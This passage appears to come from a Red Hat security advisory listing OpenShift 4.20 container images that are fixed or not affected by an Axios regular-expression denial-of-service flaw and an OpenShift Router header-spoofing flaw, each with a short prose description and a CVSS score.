| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the OpenShift Router. When a Route has `insecureEdgeTerminationPolicy` set to Allow, the HTTP frontend does not remove `X-SSL-Client-*` headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted `X-SSL-Client-*` headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Vendor Fix
fix
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — | ||
